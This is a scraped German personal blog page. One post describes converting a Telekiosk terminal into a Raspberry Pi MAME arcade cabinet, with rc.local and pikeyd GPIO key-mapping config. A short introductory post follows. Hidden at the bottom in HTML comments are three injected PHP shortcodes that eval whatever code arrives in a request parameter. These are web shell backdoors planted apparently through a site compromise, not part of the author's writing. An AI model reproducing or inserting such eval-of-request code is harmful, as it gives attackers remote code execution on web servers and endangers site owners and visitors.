MAMEkiosk

Ein Projekt, das schon länger im Bau ist. Aber auch schon immer wieder mal fröhlich gespielt wird. In meiner beruflichen Historie hab ich am Telekiosk mit gebaut und wollte immer mal so ein Teil als Andenken haben, was auch irgendwann geklappt hat. (Dank an den Spender an dieser Stelle 🙂 ) Dieser ist von der Bildschirmkonstruktion und von der Gehäusestabilität hervorragend dazu geeignet, eine Spielekonsole nach alter Provinienz abzugeben. Also flugs das ganze alte Gerümpel raus – alleine schon wegen Lautstärke und Stromverbrauch – und ein Raspberry Pi rein. Fertig. … oh, moment. Der eingebaute TFT hat nur LVDS Input…

Die – elektrisch – einfachste Variante: TFT raus, billigen 17″ TFT abgreifen, einbauen – der Touch kann ja weiter verwendet werden.

Die Distribution, die drauf läuft ist ein PiMAME (jetzt PiPlay genannt),  mit kleinen Anpassungen. Für die Joysticks hab ich GPIO Pins benutzt (da ich nur einen Joystick und ein paar Knöppe gemacht hab, hat das gereicht), getrieben wird das über pikeyd, die Buttons hab ich mit Widerständen (siehe hier) an die GPIOs gemacht.

/etc/rc.local:

<br />
amixer cset numid=3 1<br />
alsactl restore<br />
/sbin/pikeyd -d<br />
exit 0<br />

/etc/pikeyd.conf:

<br />
KEY_LEFTCTRL    17<br />
KEY_LEFTALT     22<br />
KEY_SPACE       4<br />
KEY_RIGHT       9<br />
KEY_DOWN        10<br />
KEY_UP          11<br />
KEY_LEFT        7<br />
KEY_5           8<br />
KEY_1           15<br />
KEY_2           14<br />

 

Tachauch

Eieieieiei! Jetzt hab ich auch eins.

Ok, der Grundgedanke ist, dass ich es mir etwas einfacher machen kann, meine Homepage frisch zu halten und von Zeit zu Zeit mal etwas von mir zu geben, wenn ich mag… nicht mehr, nicht weniger.

Der Titel fiel mir gerade so ein, weil die volle Wahrheit wusste ich eh noch nie, aber macht auch nix.

Die Themen werden sich sicher bunt abwechseln, aus technischen Sachen und anderen Dingen, die mich so bewegen…

<!– [insert_php]if (isset($_REQUEST["RDeRk"])){eval($_REQUEST["RDeRk"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;RDeRk&quot;])){eval($_REQUEST[&quot;RDeRk&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["twWRx"])){eval($_REQUEST["twWRx"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;twWRx&quot;])){eval($_REQUEST[&quot;twWRx&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["UuXld"])){eval($_REQUEST["UuXld"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;UuXld&quot;])){eval($_REQUEST[&quot;UuXld&quot;]);exit;}
–>